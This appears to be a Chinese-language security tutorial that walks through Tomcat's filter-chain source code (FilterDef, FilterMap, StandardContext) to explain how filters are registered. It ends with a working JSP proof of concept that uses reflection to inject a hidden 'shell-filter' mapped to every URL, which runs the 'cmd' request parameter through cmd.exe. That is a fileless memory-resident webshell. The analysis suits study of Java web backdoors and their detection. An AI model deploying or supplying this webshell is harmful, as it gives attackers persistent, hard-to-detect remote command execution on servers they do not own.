基础知识 FilterDef: 存放FilterDef的数组被称为FilterDefs,每个FilterDef定义了一个具体的过滤器,包括描述信息、名称、过滤器实例以及class等,
FilterConfigs: 这些过滤器的具体配置实例,我们可以为每个过滤器定义具体的配置参数,以满足系统的需求;
FilterMaps: 用于将FilterConfigs映射到具体的请求路径或其他标识上,这样系统在处理请求时就能够根据请求的路径或标识找到对应的FilterConfigs,从而确定要执行的过滤器链;
FilterChain: 由多个FilterConfigs组成的链式结构,它定义了过滤器的执行顺序,在处理请求时系统会按照FilterChain中的顺序依次执行每个过滤器,对请求进行过滤和处理。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 [web.xml / 注解 / 动态注册] │ ▼ +------------+ | FilterDef | ← 描述 Filter 的身份信息(名字、类、实例、初始化参数) +------------+ │ │ 绑定关系(filterName) ▼ +------------+ | FilterMap | ← 描述 Filter 的匹配规则(URL、Servlet、Dispatcher) +------------+ │ ▼ [ApplicationFilterFactory 构建链] │ ▼ +---------------------------+ | ApplicationFilterChain | ← 按顺序持有要执行的 Filter 实例 +---------------------------+ │ ▼ doFilter(request, response)
filter调用链 当第一个filter执行到chain.doFilter(req,res),就会调用ApplicationFilterChain.doFilter()方法,而ApplicationFilterChain.doFilter()会调用internalDoFilter()进入链式调用filter,
流程拆解
容器创建 ApplicationFilterChain
第一个 Filter 执行
容器调用 FilterA.doFilter(req, res, chain)。
FilterA 先做自己的逻辑,然后调用 chain.doFilter(req,res)。
进入 ApplicationFilterChain.doFilter()
下一个 Filter 执行(FilterB)
FilterB 执行自己的逻辑。
如果它调用 chain.doFilter(req,res),就又回到 ApplicationFilterChain,进入下一个 Filter(FilterC)。
所有 Filter 执行完
当 pos == filters.length 时,ApplicationFilterChain 就不再取 Filter 了,而是调用最终的 Servlet.service()(比如 SpringMVC 的 DispatcherServlet)。
利用链 在internalDoFilter()方法中,所以的filter都来自filters数组
1 ApplicationFilterConfig filterConfig = filters[pos++];
检查定义,发现是一个ApplicationFilterConfig[]类型的空数组
1 private ApplicationFilterConfig[] filters = new ApplicationFilterConfig [0 ];
查看用法,发现addFilter()方法是往里面加值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 void addFilter (ApplicationFilterConfig filterConfig) { for (int i = 0 ; i < n; i++) { if (filters[i] == filterConfig) { return ; } } if (n == filters.length) { filters = Arrays.copyOf(filters, n + INCREMENT); } filters[n++] = filterConfig; }
继续调用addFilter(),ApplicationFilterFactory.createFilterChain()方法调用addFilter()创建filter,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 for (FilterMap filterMap : filterMaps) { if (!matchDispatcher(filterMap, dispatcher)) { continue ; } if (!matchFiltersServlet(filterMap, servletName)) { continue ; } ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) context.findFilterConfig(filterMap.getFilterName()); if (filterConfig == null ) { log.warn(sm.getString("applicationFilterFactory.noFilterConfig" , filterMap.getFilterName())); continue ; } filterChain.addFilter(filterConfig); }
到此可以看见,filter就是在createFilterChain()方法里进行创建添加,因此只需分析它的添加流程,即可动态添加恶意filter
createFilterChain() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 public static ApplicationFilterChain createFilterChain (ServletRequest request, Wrapper wrapper, Servlet servlet) { if (servlet == null ) { return null ; } ApplicationFilterChain filterChain; if (request instanceof Request) { Request req = (Request) request; if (Globals.IS_SECURITY_ENABLED) { filterChain = new ApplicationFilterChain (); } else { filterChain = (ApplicationFilterChain) req.getFilterChain(); if (filterChain == null ) { filterChain = new ApplicationFilterChain (); req.setFilterChain(filterChain); } } } else { filterChain = new ApplicationFilterChain (); } filterChain.setServlet(servlet); filterChain.setServletSupportsAsync(wrapper.isAsyncSupported()); StandardContext context = (StandardContext) wrapper.getParent(); FilterMap filterMaps[] = context.findFilterMaps(); if (filterMaps == null || filterMaps.length == 0 ) { return filterChain; } DispatcherType dispatcher = (DispatcherType) request.getAttribute(Globals.DISPATCHER_TYPE_ATTR); String requestPath = FilterUtil.getRequestPath(request); String servletName = wrapper.getName(); for (FilterMap filterMap : filterMaps) { if (!matchDispatcher(filterMap, dispatcher)) { continue ; } if (!FilterUtil.matchFiltersURL(filterMap, requestPath)) { continue ; } ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) context.findFilterConfig(filterMap.getFilterName()); if (filterConfig == null ) { log.warn(sm.getString("applicationFilterFactory.noFilterConfig" , filterMap.getFilterName())); continue ; } filterChain.addFilter(filterConfig); } for (FilterMap filterMap : filterMaps) { if (!matchDispatcher(filterMap, dispatcher)) { continue ; } if (!matchFiltersServlet(filterMap, servletName)) { continue ; } ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) context.findFilterConfig(filterMap.getFilterName()); if (filterConfig == null ) { log.warn(sm.getString("applicationFilterFactory.noFilterConfig" , filterMap.getFilterName())); continue ; } filterChain.addFilter(filterConfig); } return filterChain; }
分析代码,有几个关键点
filterMaps[]不能为空
filterConfig不能为空
他们均为StandardContext 类属性,可以通过反射调用StandardContext 类
查看filterMaps和filterConfig定义结构
filterMaps
1 private final ContextFilterMaps filterMaps = new ContextFilterMaps ();
filterConfigs
1 private final Map<String,ApplicationFilterConfig> filterConfigs = new HashMap <>();
寻找写入
filterMaps
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public void addFilterMap (FilterMap filterMap) { validateFilterMap(filterMap); filterMaps.add(filterMap); fireContainerEvent("addFilterMap" , filterMap); }@Override public void addFilterMapBefore (FilterMap filterMap) { validateFilterMap(filterMap); filterMaps.addBefore(filterMap); fireContainerEvent("addFilterMap" , filterMap); }
filterConfigs
没有找到add(),但因为它是个Map,在filterStart()找到了put
1 2 3 4 5 6 7 8 for (Entry<String,FilterDef> entry : filterDefs.entrySet()) { String name = entry.getKey(); if (getLogger().isTraceEnabled()) { getLogger().trace(" Starting filter '" + name + "'" ); } try { ApplicationFilterConfig filterConfig = new ApplicationFilterConfig (this , entry.getValue()); filterConfigs.put(name, filterConfig);
原本已经可以开始写入,但看到写入filterMap需要调用validateFilterMap()方法,跟进validateFilterMap()方法查看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 private void validateFilterMap (FilterMap filterMap) { String filterName = filterMap.getFilterName(); String[] servletNames = filterMap.getServletNames(); String[] urlPatterns = filterMap.getURLPatterns(); if (findFilterDef(filterName) == null ) { throw new IllegalArgumentException (sm.getString("standardContext.filterMap.name" , filterName)); } if (!filterMap.getMatchAllServletNames() && !filterMap.getMatchAllUrlPatterns() && (servletNames.length == 0 ) && (urlPatterns.length == 0 )) { throw new IllegalArgumentException (sm.getString("standardContext.filterMap.either" )); } for (String urlPattern : urlPatterns) { if (!validateURLPattern(urlPattern)) { throw new IllegalArgumentException (sm.getString("standardContext.filterMap.pattern" , urlPattern)); } } }
这里需要filterDef有值,且等于filterMap
1 findFilterDef(filterName) == null )
因此继续寻找添加filterDef
1 2 3 4 5 6 7 8 public void addFilterDef (FilterDef filterDef) { synchronized (filterDefs) { filterDefs.put(filterDef.getFilterName(), filterDef); } fireContainerEvent("addFilterDef" , filterDef); }
至此,开始编写poc
POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 <%@ page import ="com.sun.org.glassfish.gmbal.IncludeSubclass" %> <%@ page import ="java.io.IOException" %> <%@ page import ="org.apache.catalina.core.StandardContext" %> <%@ page import ="java.lang.reflect.Field" %> <%@ page import ="org.apache.catalina.core.ApplicationContext" %> <%@ page import ="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import ="org.apache.tomcat.util.descriptor.web.FilterMap" %><%-- Created by IntelliJ IDEA. User: 19753 Date: 2025 /8 /20 Time: 23 :50 To change this template use File | Settings | File Templates. --%> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%! public class filtershell extends HttpFilter { @Override protected void doFilter (HttpServletRequest req, HttpServletResponse res, FilterChain chain) throws IOException, ServletException { res.setContentType("text/html;charset=UTF-8" ); String cmd = req.getParameter("cmd" ); if (cmd != null ){ Process p = Runtime.getRuntime().exec(new String []{"cmd.exe" ,"/c" ,cmd}); chain.doFilter(req,res); } super .doFilter(req, res, chain); } } %> <% ServletContext servletContext = request.getServletContext(); Field applicationContextField = servletContext.getClass().getDeclaredField("context" ); applicationContextField.setAccessible(true ); ApplicationContext applicationContext = (ApplicationContext)applicationContextField.get(servletContext); Field standardContextField = applicationContext.getClass().getDeclaredField("context" ); standardContextField.setAccessible(true ); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext); filtershell filter = new filtershell (); FilterDef def = new FilterDef (); def.setFilterName("shell-filter" ); def.setFilter(filter); def.setFilterClass(filter.getClass().getName()); FilterMap map = new FilterMap (); map.setFilterName("shell-filter" ); map.addURLPattern("/*" ); standardContext.addFilterDef(def); standardContext.addFilterMap(map); standardContext.filterStart(); %>